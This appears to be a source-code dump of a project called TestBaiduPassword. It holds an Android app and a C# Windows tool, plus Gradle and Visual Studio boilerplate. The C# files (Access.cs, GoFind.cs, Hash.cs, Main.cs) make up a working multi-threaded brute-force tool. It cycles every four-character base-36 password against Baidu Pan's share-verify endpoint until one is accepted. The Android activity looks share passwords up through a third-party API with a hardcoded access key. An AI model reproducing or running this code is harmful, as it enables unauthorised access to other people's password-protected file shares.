5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/app/.gitignore:
--------------------------------------------------------------------------------
1 | /build
2 |
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/app/build.gradle:
--------------------------------------------------------------------------------
1 | apply plugin: 'com.android.application'
2 |
3 | android {
4 | compileSdkVersion 26
5 | defaultConfig {
6 | applicationId "com.zgcwkj.baidupantest.testpassword"
7 | minSdkVersion 15
8 | targetSdkVersion 26
9 | versionCode 1
10 | versionName "1.0"
11 | testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner"
12 | }
13 | buildTypes {
14 | release {
15 | minifyEnabled false
16 | proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
17 | }
18 | }
19 | }
20 |
21 | dependencies {
22 | implementation fileTree(dir: 'libs', include: ['*.jar'])
23 | implementation 'com.android.support:appcompat-v7:26.1.0'
24 | implementation 'com.android.support.constraint:constraint-layout:1.1.0'
25 | testImplementation 'junit:junit:4.12'
26 | androidTestImplementation 'com.android.support.test:runner:1.0.2'
27 | androidTestImplementation 'com.android.support.test.espresso:espresso-core:3.0.2'
28 | }
29 |
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/app/proguard-rules.pro:
--------------------------------------------------------------------------------
1 | # Add project specific ProGuard rules here.
2 | # You can control the set of applied configuration files using the
3 | # proguardFiles setting in build.gradle.
4 | #
5 | # For more details, see
6 | # http://developer.android.com/guide/developing/tools/proguard.html
7 |
8 | # If your project uses WebView with JS, uncomment the following
9 | # and specify the fully qualified class name to the JavaScript interface
10 | # class:
11 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview {
12 | # public *;
13 | #}
14 |
15 | # Uncomment this to preserve the line number information for
16 | # debugging stack traces.
17 | #-keepattributes SourceFile,LineNumberTable
18 |
19 | # If you keep the line number information, uncomment this to
20 | # hide the original source file name.
21 | #-renamesourcefileattribute SourceFile
22 |
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/app/src/androidTest/java/com/zgcwkj/baidupantest/testpassword/ExampleInstrumentedTest.java:
--------------------------------------------------------------------------------
1 | package com.zgcwkj.baidupantest.testpassword;
2 |
3 | import android.content.Context;
4 | import android.support.test.InstrumentationRegistry;
5 | import android.support.test.runner.AndroidJUnit4;
6 |
7 | import org.junit.Test;
8 | import org.junit.runner.RunWith;
9 |
10 | import static org.junit.Assert.*;
11 |
12 | /**
13 | * Instrumented test, which will execute on an Android device.
14 | *
15 | * @see Testing documentation
16 | */
17 | @RunWith(AndroidJUnit4.class)
18 | public class ExampleInstrumentedTest {
19 | @Test
20 | public void useAppContext() throws Exception {
21 | // Context of the app under test.
22 | Context appContext = InstrumentationRegistry.getTargetContext();
23 |
24 | assertEquals("com.zgcwkj.baidupantest.testpassword", appContext.getPackageName());
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/app/src/main/AndroidManifest.xml:
--------------------------------------------------------------------------------
1 |
2 |
4 |
5 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/app/src/main/ic_launcher-web.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zgcwkjOpenProject/TestBaiduPassword/ff62e799b37b8b3f81c0e5cdaa1e4fd4bd51c8cf/TestPassword V1.0.0.0 APK/app/src/main/ic_launcher-web.png
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/app/src/main/java/com/zgcwkj/baidupantest/testpassword/MainActivity.java:
--------------------------------------------------------------------------------
1 | package com.zgcwkj.baidupantest.testpassword;
2 |
3 | import android.support.v7.app.AppCompatActivity;
4 | import android.os.Bundle;
5 | import android.view.View;
6 | import android.webkit.WebView;
7 | import android.widget.Button;
8 | import android.widget.EditText;
9 | import android.widget.Toast;
10 |
11 | public class MainActivity extends AppCompatActivity {
12 |
13 | @Override
14 | protected void onCreate(Bundle savedInstanceState) {
15 | super.onCreate(savedInstanceState);
16 | setContentView(R.layout.activity_main);
17 |
18 | Button btn = (Button) findViewById(R.id.btnGo);
19 | btn.setOnClickListener(new View.OnClickListener() {
20 | @Override
21 | public void onClick(View v) {
22 | EditText textUrl = (EditText) findViewById(R.id.textUrl);
23 | //验证长度
24 | if (textUrl.length() >= 8) {
25 | String info = textUrl.getText().toString().replace(" ", "").replace("https", "").replace("http", "").replace("://pan.baidu.com/", "").replace("share/init?surl=", "").replace("s/1", "");
26 | String url = "https://www.ypsuperkey.com/api/items/BDY-";
27 | String uend = "?access_key=4fxNbkKKJX2pAm3b8AEu2zT5d2MbqGbD&client_version=zg";
28 | WebView webView = (WebView) findViewById(R.id.webview);//更改界面的WebView控件的地址
29 | webView.loadUrl(url + info + uend);
30 | } else {
31 | Toast.makeText(MainActivity.this, "请输入正确的地址", Toast.LENGTH_LONG).show();
32 | }
33 | }
34 | });
35 | }
36 | }
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/app/src/main/res/drawable-v24/ic_launcher_foreground.xml:
--------------------------------------------------------------------------------
1 |
7 |
12 |
13 |
19 |
22 |
25 |
26 |
27 |
28 |
34 |
35 |
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/app/src/main/res/layout/activity_main.xml:
--------------------------------------------------------------------------------
1 |
2 |
8 |
9 |
22 |
23 |
34 |
35 |
43 |
44 |
55 |
56 |
57 |
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-hdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zgcwkjOpenProject/TestBaiduPassword/ff62e799b37b8b3f81c0e5cdaa1e4fd4bd51c8cf/TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-hdpi/ic_launcher.png
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-hdpi/ic_launcher_foreground.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zgcwkjOpenProject/TestBaiduPassword/ff62e799b37b8b3f81c0e5cdaa1e4fd4bd51c8cf/TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-hdpi/ic_launcher_foreground.png
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-hdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zgcwkjOpenProject/TestBaiduPassword/ff62e799b37b8b3f81c0e5cdaa1e4fd4bd51c8cf/TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-hdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-mdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zgcwkjOpenProject/TestBaiduPassword/ff62e799b37b8b3f81c0e5cdaa1e4fd4bd51c8cf/TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-mdpi/ic_launcher.png
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-mdpi/ic_launcher_foreground.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zgcwkjOpenProject/TestBaiduPassword/ff62e799b37b8b3f81c0e5cdaa1e4fd4bd51c8cf/TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-mdpi/ic_launcher_foreground.png
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-mdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zgcwkjOpenProject/TestBaiduPassword/ff62e799b37b8b3f81c0e5cdaa1e4fd4bd51c8cf/TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-mdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-xhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zgcwkjOpenProject/TestBaiduPassword/ff62e799b37b8b3f81c0e5cdaa1e4fd4bd51c8cf/TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-xhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-xhdpi/ic_launcher_foreground.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zgcwkjOpenProject/TestBaiduPassword/ff62e799b37b8b3f81c0e5cdaa1e4fd4bd51c8cf/TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-xhdpi/ic_launcher_foreground.png
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-xhdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zgcwkjOpenProject/TestBaiduPassword/ff62e799b37b8b3f81c0e5cdaa1e4fd4bd51c8cf/TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-xhdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-xxhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zgcwkjOpenProject/TestBaiduPassword/ff62e799b37b8b3f81c0e5cdaa1e4fd4bd51c8cf/TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-xxhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-xxhdpi/ic_launcher_foreground.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zgcwkjOpenProject/TestBaiduPassword/ff62e799b37b8b3f81c0e5cdaa1e4fd4bd51c8cf/TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-xxhdpi/ic_launcher_foreground.png
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zgcwkjOpenProject/TestBaiduPassword/ff62e799b37b8b3f81c0e5cdaa1e4fd4bd51c8cf/TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zgcwkjOpenProject/TestBaiduPassword/ff62e799b37b8b3f81c0e5cdaa1e4fd4bd51c8cf/TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-xxxhdpi/ic_launcher_foreground.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zgcwkjOpenProject/TestBaiduPassword/ff62e799b37b8b3f81c0e5cdaa1e4fd4bd51c8cf/TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-xxxhdpi/ic_launcher_foreground.png
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zgcwkjOpenProject/TestBaiduPassword/ff62e799b37b8b3f81c0e5cdaa1e4fd4bd51c8cf/TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/app/src/main/res/values/colors.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | #3F51B5
4 | #303F9F
5 | #FF4081
6 |
7 |
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/app/src/main/res/values/ic_launcher_background.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | #26A69A
4 |
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/app/src/main/res/values/strings.xml:
--------------------------------------------------------------------------------
1 |
2 | TestPassword
3 |
4 |
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/app/src/main/res/values/styles.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/app/src/test/java/com/zgcwkj/baidupantest/testpassword/ExampleUnitTest.java:
--------------------------------------------------------------------------------
1 | package com.zgcwkj.baidupantest.testpassword;
2 |
3 | import org.junit.Test;
4 |
5 | import static org.junit.Assert.*;
6 |
7 | /**
8 | * Example local unit test, which will execute on the development machine (host).
9 | *
10 | * @see Testing documentation
11 | */
12 | public class ExampleUnitTest {
13 | @Test
14 | public void addition_isCorrect() throws Exception {
15 | assertEquals(4, 2 + 2);
16 | }
17 | }
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/build.gradle:
--------------------------------------------------------------------------------
1 | // Top-level build file where you can add configuration options common to all sub-projects/modules.
2 |
3 | buildscript {
4 |
5 | repositories {
6 | google()
7 | jcenter()
8 | }
9 | dependencies {
10 | classpath 'com.android.tools.build:gradle:3.0.1'
11 |
12 |
13 | // NOTE: Do not place your application dependencies here; they belong
14 | // in the individual module build.gradle files
15 | }
16 | }
17 |
18 | allprojects {
19 | repositories {
20 | google()
21 | jcenter()
22 | }
23 | }
24 |
25 | task clean(type: Delete) {
26 | delete rootProject.buildDir
27 | }
28 |
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/gradle.properties:
--------------------------------------------------------------------------------
1 | # Project-wide Gradle settings.
2 |
3 | # IDE (e.g. Android Studio) users:
4 | # Gradle settings configured through the IDE *will override*
5 | # any settings specified in this file.
6 |
7 | # For more details on how to configure your build environment visit
8 | # http://www.gradle.org/docs/current/userguide/build_environment.html
9 |
10 | # Specifies the JVM arguments used for the daemon process.
11 | # The setting is particularly useful for tweaking memory settings.
12 | org.gradle.jvmargs=-Xmx1536m
13 |
14 | # When configured, Gradle will run in incubating parallel mode.
15 | # This option should only be used with decoupled projects. More details, visit
16 | # http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects
17 | # org.gradle.parallel=true
18 |
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/gradle/wrapper/gradle-wrapper.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zgcwkjOpenProject/TestBaiduPassword/ff62e799b37b8b3f81c0e5cdaa1e4fd4bd51c8cf/TestPassword V1.0.0.0 APK/gradle/wrapper/gradle-wrapper.jar
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/gradle/wrapper/gradle-wrapper.properties:
--------------------------------------------------------------------------------
1 | #Fri May 25 20:43:03 CST 2018
2 | distributionBase=GRADLE_USER_HOME
3 | distributionPath=wrapper/dists
4 | zipStoreBase=GRADLE_USER_HOME
5 | zipStorePath=wrapper/dists
6 | distributionUrl=https\://services.gradle.org/distributions/gradle-4.1-all.zip
7 |
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/gradlew.bat:
--------------------------------------------------------------------------------
1 | @if "%DEBUG%" == "" @echo off
2 | @rem ##########################################################################
3 | @rem
4 | @rem Gradle startup script for Windows
5 | @rem
6 | @rem ##########################################################################
7 |
8 | @rem Set local scope for the variables with windows NT shell
9 | if "%OS%"=="Windows_NT" setlocal
10 |
11 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
12 | set DEFAULT_JVM_OPTS=
13 |
14 | set DIRNAME=%~dp0
15 | if "%DIRNAME%" == "" set DIRNAME=.
16 | set APP_BASE_NAME=%~n0
17 | set APP_HOME=%DIRNAME%
18 |
19 | @rem Find java.exe
20 | if defined JAVA_HOME goto findJavaFromJavaHome
21 |
22 | set JAVA_EXE=java.exe
23 | %JAVA_EXE% -version >NUL 2>&1
24 | if "%ERRORLEVEL%" == "0" goto init
25 |
26 | echo.
27 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
28 | echo.
29 | echo Please set the JAVA_HOME variable in your environment to match the
30 | echo location of your Java installation.
31 |
32 | goto fail
33 |
34 | :findJavaFromJavaHome
35 | set JAVA_HOME=%JAVA_HOME:"=%
36 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe
37 |
38 | if exist "%JAVA_EXE%" goto init
39 |
40 | echo.
41 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
42 | echo.
43 | echo Please set the JAVA_HOME variable in your environment to match the
44 | echo location of your Java installation.
45 |
46 | goto fail
47 |
48 | :init
49 | @rem Get command-line arguments, handling Windowz variants
50 |
51 | if not "%OS%" == "Windows_NT" goto win9xME_args
52 | if "%@eval[2+2]" == "4" goto 4NT_args
53 |
54 | :win9xME_args
55 | @rem Slurp the command line arguments.
56 | set CMD_LINE_ARGS=
57 | set _SKIP=2
58 |
59 | :win9xME_args_slurp
60 | if "x%~1" == "x" goto execute
61 |
62 | set CMD_LINE_ARGS=%*
63 | goto execute
64 |
65 | :4NT_args
66 | @rem Get arguments from the 4NT Shell from JP Software
67 | set CMD_LINE_ARGS=%$
68 |
69 | :execute
70 | @rem Setup the command line
71 |
72 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
73 |
74 | @rem Execute Gradle
75 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS%
76 |
77 | :end
78 | @rem End local scope for the variables with windows NT shell
79 | if "%ERRORLEVEL%"=="0" goto mainEnd
80 |
81 | :fail
82 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
83 | rem the _cmd.exe /c_ return code!
84 | if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
85 | exit /b 1
86 |
87 | :mainEnd
88 | if "%OS%"=="Windows_NT" endlocal
89 |
90 | :omega
91 |
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0 APK/settings.gradle:
--------------------------------------------------------------------------------
1 | include ':app'
2 |
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0/TestPassword.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 14
4 | VisualStudioVersion = 14.0.23107.0
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestPassword", "TestPassword\TestPassword.csproj", "{AC42684F-60E0-464C-881D-B679DA8D8A7B}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | EndGlobal
23 |
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0/TestPassword/Access.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Linq;
4 | using System.Net;
5 | using System.Text;
6 |
7 | namespace zgcwkj
8 | {
9 | ///
10 | /// 测试访问类
11 | ///
12 | public class Access
13 | {
14 | string info = "";//唯一识别文件的值吧
15 | CookieContainer cookie = new CookieContainer();
16 | ///
17 | /// 实例测试类
18 | ///
19 | /// 访问的链接
20 | public Access(string url)
21 | {
22 | info = "surl=" + url.Replace("https", "").Replace("http", "").Replace("://pan.baidu.com/", "").Replace("share/init?surl=", "").Replace("s/1", "");
23 | }
24 | ///
25 | /// 访问网页
26 | ///
27 | ///
28 | public string Get()
29 | {
30 | return HttpGet("https://pan.baidu.com/share/init?" + info);
31 | }
32 | ///
33 | /// 提交密码
34 | ///
35 | /// 密码
36 | ///
37 | public string Post(string pwd)
38 | {
39 | DateTime time = DateTime.Now;
40 | DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1, 0, 0, 0, 0));
41 | string ts = ((time.Ticks - startTime.Ticks) / 10000).ToString();
42 |
43 | string url = "https://pan.baidu.com/share/verify?" + info + "&t=" + ts.ToString() + "&bdstoken=null&channel=chunlei&clienttype=0&web=1&app_id=123456&logid=MTUwMTEyNDM2OTY5MzAuOTE5NTU5NjQwMTk0NDM0OA==";
44 | string data = "pwd=" + pwd + "&vcode=&vcode_str=";
45 |
46 | return HttpPost(url, data);
47 | }
48 | ///
49 | /// 请求路径
50 | ///
51 | /// 请求的路径
52 | /// 返回请求的网页数据
53 | private string HttpGet(string Url)
54 | {
55 | HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
56 | request.Method = "GET";
57 | request.ContentType = "text/html;charset=UTF-8";
58 | request.CookieContainer = cookie;
59 |
60 | try
61 | {
62 | HttpWebResponse response = (HttpWebResponse)request.GetResponse();
63 | StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.GetEncoding("utf-8"));
64 | string retString = myStreamReader.ReadToEnd();
65 | myStreamReader.Close();
66 | return retString;
67 | }
68 | catch (Exception e)
69 | {
70 | return e.Message;
71 | }
72 | }
73 | ///
74 | /// 提交数据
75 | ///
76 | /// 提交的路径
77 | /// 提交的数据
78 | /// 返回结果
79 | private string HttpPost(string Url, string Data)
80 | {
81 | try
82 | {
83 | HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
84 | request.ContentType = "application/x-www-form-urlencoded;charset=UTF-8";
85 | request.Referer = "https://pan.baidu.com/share/init?" + info;
86 | request.ContentLength = Encoding.UTF8.GetByteCount(Data);
87 | request.CookieContainer = cookie;
88 | request.Method = "POST";
89 |
90 | Stream myRequestStream = request.GetRequestStream();
91 | byte[] postBytes = Encoding.UTF8.GetBytes(Data);
92 | myRequestStream.Write(postBytes, 0, postBytes.Length);
93 |
94 | HttpWebResponse response = (HttpWebResponse)request.GetResponse();
95 | response.Cookies = cookie.GetCookies(response.ResponseUri);
96 |
97 | StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.GetEncoding("utf-8"));
98 | string retString = myStreamReader.ReadToEnd();
99 | myStreamReader.Close();
100 |
101 | return retString;
102 | }
103 | catch (Exception ex)
104 | {
105 | return ex.Message;
106 | }
107 | }
108 | }
109 | }
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0/TestPassword/GoFind.cs:
--------------------------------------------------------------------------------
1 | using System.IO;
2 | using System.Timers;
3 |
4 | namespace zgcwkj
5 | {
6 | public class GoFind
7 | {
8 | Main myMain;//主窗体
9 | int StartValue = 0;//基值
10 | int NumberValue = 0;//剩余次数
11 |
12 | public GoFind(Main main, int start, int number, int interval)
13 | {
14 | myMain = main;
15 | StartValue = start;
16 | NumberValue = number;
17 | Timer timer = new Timer(interval);
18 | timer.Elapsed += new ElapsedEventHandler(_Timer);
19 | timer.Start();
20 | }
21 | private void _Timer(object sender, ElapsedEventArgs e)
22 | {
23 | Timer timer = sender as Timer;
24 | if (NumberValue < StartValue || StaticClass.status)
25 | {
26 | timer.Stop();
27 | }
28 | else
29 | {
30 | string password = Hash.Hash2Str(StartValue);
31 | Access access = new Access(StaticClass.url);
32 | myMain.ModifyStr(access.Post(password), password);
33 | StartValue = StartValue + 1;
34 | }
35 | }
36 | }
37 | }
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0/TestPassword/Hash.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Linq;
3 | using System.Text;
4 | using System.Collections.Generic;
5 |
6 | namespace zgcwkj
7 | {
8 | public static class Hash
9 | {
10 | //哈希类 36进制
11 | //有效哈希[10000000,11679615]
12 | public static string Hash2Str(int hash)
13 | {
14 | string ret = "";
15 | hash -= 10000000;
16 | while (hash > 0)
17 | {
18 | ret += Hash2Char(hash % 36);
19 | hash /= 36;
20 | }
21 | if (ret.Length == 3) ret += "0";//前导零
22 | if (ret.Length == 2) ret += "00";
23 | if (ret.Length == 1) ret += "000";
24 | if (ret.Length == 0) ret += "0000";
25 | return reverse(ret);
26 | }
27 | public static int Str2Hash(string str)
28 | {
29 | int ret = 0;
30 | ret += Char2Hash(str[0]) * 46656;
31 | ret += Char2Hash(str[1]) * 1296;
32 | ret += Char2Hash(str[2]) * 36;
33 | ret += Char2Hash(str[3]);
34 | ret += 10000000;//防止前导零
35 | return ret;
36 | }
37 | private static int Char2Hash(char c)
38 | {
39 | if (c >= '0' && c <= '9') return c - '0';
40 | else return c - 'a' + 10;
41 | }
42 | private static char Hash2Char(int hash)
43 | {
44 | if (hash >= 0 && hash <= 9) return (char)('0' + hash);
45 | else return (char)('a' + hash - 10);
46 | }
47 | private static string reverse(string str)
48 | {
49 | char[] arr = str.ToCharArray();
50 | Array.Reverse(arr);
51 | return new string(arr);
52 | }
53 | }
54 | }
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0/TestPassword/Main.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Timers;
4 | using System.Windows.Forms;
5 |
6 | namespace zgcwkj
7 | {
8 | public partial class Main : Form
9 | {
10 | public Main()
11 | {
12 | InitializeComponent();
13 | }
14 | private void Main_Load(object sender, EventArgs e)
15 | {
16 | if (!File.Exists("Configuration.ini")) File.AppendAllText("Configuration.ini", "|100|200|0000|zzzz");
17 | string[] Configuration = File.ReadAllText("Configuration.ini").Split('|');
18 | text_url.Text = Configuration[0];
19 | text_xczs.Text = Configuration[1];
20 | text_zxsd.Text = Configuration[2];
21 | text_ksd.Text = Configuration[3];
22 | text_jsd.Text = Configuration[4];
23 | }
24 | private void Main_FormClosing(object sender, FormClosingEventArgs e)
25 | {
26 | File.Delete("Configuration.ini");
27 | File.AppendAllText("Configuration.ini", text_url.Text + "|" + text_xczs.Text + "|" + text_zxsd.Text + "|" + text_ksd.Text + "|" + text_jsd.Text);
28 | }
29 | private void btn_Click(object sender, EventArgs e)//启动按钮
30 | {
31 | if (text_url.Text == "") { MessageBox.Show("啥也没输入呢!"); return; }//防止空文本也执行
32 |
33 | StaticClass.Folder = DateTime.Now.ToString("yyyyMMddHHmmss");//用时间达到随机名称功能
34 | if (!File.Exists(StaticClass.Folder + ".ini")) File.AppendAllText(StaticClass.Folder + ".ini", "时间:" + StaticClass.Folder + ",目标连接:" + text_url.Text + "\r\n");
35 |
36 | int start = Hash.Str2Hash(text_ksd.Text);
37 | int end = Hash.Str2Hash(text_jsd.Text);
38 | int total = end - start + 1;//尝试的总数
39 | int section = total / Convert.ToInt32(text_xczs.Text);//线程的次数
40 |
41 | gb_1.Text = "一共要尝试" + total + "次密码";
42 | enabled(false);
43 | StaticClass.status = false;
44 | StaticClass.url = text_url.Text.Trim();
45 |
46 | for (int i = 1; i <= Convert.ToInt32(text_xczs.Text); i++)
47 | {
48 | new GoFind(this, start + section * (i - 1), start + section * i, Convert.ToInt32(text_zxsd.Text));
49 | }
50 | text_ksd.Text = text_jsd.Text;
51 | }
52 | delegate void Modifystr(string str1, string str2);//委托进行显示数据
53 | public void ModifyStr(string str1, string str2)//委托进行显示数据
54 | {
55 | if (InvokeRequired)
56 | {
57 | Modifystr stcb = new Modifystr(ModifyStr);
58 | Invoke(stcb, new object[] { str1, str2 });
59 | }
60 | else
61 | {
62 | txt_ts.Text = str1 + "》正在尝试:" + str2;
63 | File.AppendAllText(StaticClass.Folder + ".ini", txt_ts.Text + "\r\n");
64 | if (str1.Contains("\"errno\":-9"))//密码错误
65 | {
66 |
67 | }
68 | else if (str1.Contains("\"errno\":0"))//密码正常
69 | {
70 | enabled(true);
71 | StaticClass.status = true;
72 | MessageBox.Show("密码是:" + str2);
73 | }
74 | else if (str1.Contains("\"errno\":-62"))//要输入验证码
75 | {
76 |
77 | }
78 | else if (str1.Contains("404"))//拒绝访问
79 | {
80 | enabled(true);
81 | StaticClass.status = true;
82 | MessageBox.Show("你的IP被拒绝访问,请稍后重试");
83 | }
84 | else { }//未知错误
85 | }
86 | }
87 | private void _KeyPress(object sender, KeyPressEventArgs e)//限制输入
88 | {
89 | if ((Keys)e.KeyChar >= Keys.D0 && (Keys)e.KeyChar <= Keys.D9 || (Keys)e.KeyChar == Keys.Back) { } else e.Handled = true;
90 | }
91 | public void enabled(bool b)//启用或禁用控件
92 | {
93 | gb_1.Enabled = btn.Enabled = b;
94 | }
95 | }
96 | }
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0/TestPassword/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Windows.Forms;
5 |
6 | namespace zgcwkj
7 | {
8 | static class Program
9 | {
10 | ///
11 | /// 应用程序的主入口点。
12 | ///
13 | [STAThread]
14 | static void Main()
15 | {
16 | Application.EnableVisualStyles();
17 | Application.SetCompatibleTextRenderingDefault(false);
18 | Application.Run(new Main());
19 |
20 | //https://pan.baidu.com/share/init?surl=dFlOQid
21 | //lzte
